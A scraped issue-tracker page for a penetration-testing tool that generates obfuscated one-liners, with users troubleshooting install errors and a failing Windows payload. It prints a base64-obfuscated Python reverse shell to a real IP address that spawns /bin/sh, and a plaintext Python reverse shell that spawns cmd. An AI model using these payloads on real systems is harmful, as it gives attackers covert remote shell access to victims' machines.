ekultek / graffiti Goto Github PK
View Code? Open in Web Editor NEWA tool to generate obfuscated one liners to aid in penetration testing
A tool to generate obfuscated one liners to aid in penetration testing
I know this is a python issue but I'm wondering if anyone may know a resolution for the issue? I've tried everything I could think of.
This error is returned
graffiti -p /linux/python/socket_reverse.json -c base64 -lH -lP 4321
'# you need to install PyCrypto in order to use AES encoding pip install pycrypto
python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjk5LjE4MC45My4xNTIiLDQzMjEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw==".decode("base64"))'
Tried to reinstall.
pip install pycrypto -v
User install by explicit request
Created temporary directory: /tmp/pip-ephem-wheel-cache-0b0kgcmo
Created temporary directory: /tmp/pip-req-tracker-xu650tye
Initialized build tracking at /tmp/pip-req-tracker-xu650tye
Created build tracker: /tmp/pip-req-tracker-xu650tye
Entered build tracker: /tmp/pip-req-tracker-xu650tye
Created temporary directory: /tmp/pip-install-4jpp0sd6
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
Removed build tracker: '/tmp/pip-req-tracker-xu650tye'
Tried to uninstall
pip uninstall pycrypto
Found existing installation: pycrypto 2.6.1
Not uninstalling pycrypto at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'pycrypto'. No files were found to uninstall.
Reinstalled over it
pip install pycrypto -v
User install by explicit request
Created temporary directory: /tmp/pip-ephem-wheel-cache-0b0kgcmo
Created temporary directory: /tmp/pip-req-tracker-xu650tye
Initialized build tracking at /tmp/pip-req-tracker-xu650tye
Created build tracker: /tmp/pip-req-tracker-xu650tye
Entered build tracker: /tmp/pip-req-tracker-xu650tye
Created temporary directory: /tmp/pip-install-4jpp0sd6
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
Removed build tracker: '/tmp/pip-req-tracker-xu650tye'
No luck.
File "/home/geo/Graffiti/./graffiti.py", line 1, in
from main.main import main
File "/home/geo/Graffiti/main/main.py", line 2, in
from lib.arguments import Parser
File "/home/geo/Graffiti/lib/arguments.py", line 5, in
from coders import Encoder
File "/home/geo/Graffiti/coders/init.py", line 1, in
from lib.settings import UnacceptableExecType
File "/home/geo/Graffiti/lib/settings.py", line 5, in
import jsonize
ModuleNotFoundError: No module named 'jsonize'
Hello,
I tried to use this payload /windows/python/socket_reverse.json
, I ran it on windows, but the payload didn't work, and I got this error :
OSError: [Errno 9] Bad file descriptor
I found same error on Stack Overflow.
the payload code was:
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("host",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call("cmd")
I couldn't understand how to fix it, so can you help me out please?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.